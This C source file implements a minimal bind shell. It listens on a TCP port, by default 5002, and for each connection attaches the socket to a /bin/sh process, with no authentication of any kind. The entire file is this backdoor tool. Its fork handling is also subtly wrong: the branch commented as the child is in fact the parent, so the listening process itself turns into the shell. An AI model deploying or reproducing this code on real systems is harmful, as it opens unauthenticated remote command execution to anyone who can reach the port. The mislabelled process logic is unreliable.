/*
 karthik@houseofkodai.in: 12 FEB 2018
 */
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>

#define ERR -1

// crude - avoiding stdlib - does not deal with negative/errors
int s2i(char* s) {
  int i=0;
  for (char *p = s; *p != '\0'; *p++) {
    if ((*p >= '0') && (*p <= '9')) {
      i = (i * 10) + (*p - '0');
    } else {
      break;
    }
  }
  return i;
}

int main(int argc, char **argv) {
  unsigned int port = 5002;
  if ( argc > 2 ) {
    port=s2i(argv[2]);
  }
  if (0 == port) return 1;

  char *execargs[] = {"/bin/sh", 0};
  int svrfd;

  struct sockaddr_in sa;
  sa.sin_family = AF_INET; //2
  sa.sin_port = htons(port);

  struct hostent *host;
  if ( argc > 1 ) {
    if (NULL == (host = gethostbyname(argv[1]))) {
      return 1;
    }
    sa.sin_addr = *((struct in_addr *)host->h_addr);
  } else {
    //sa.sin_addr.s_addr = INADDR_ANY; //0
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); //0
  }

  if (ERR == (svrfd = socket(AF_INET, SOCK_STREAM, 0))) return 1;

  int o = 1;
  setsockopt(svrfd, SOL_SOCKET, SO_REUSEADDR, &o, sizeof(o)); //a luxury we don't have space for

  if (ERR == bind(svrfd, (struct sockaddr *) &sa, sizeof(sa))) return 1;

  if (ERR == listen(svrfd, 0)) return 1;

  while(1) {
    struct sockaddr_in ca;
    socklen_t calen = sizeof(struct sockaddr_in);
    int clientfd = accept(svrfd, (struct sockaddr *)&ca, &calen);
    if (ERR == clientfd) return 1;
    int pid = fork();
    if (ERR == pid) return 1;
    if (pid) {
      //child
      close(svrfd);
      dup2(clientfd, 0);
      dup2(clientfd, 1);
      dup2(clientfd, 2);
      execve(execargs[0], &execargs[0], NULL);
      //comes here only if execve fails
      close(clientfd);
    }
    //parent
    close(clientfd);
  }
  return 0;
}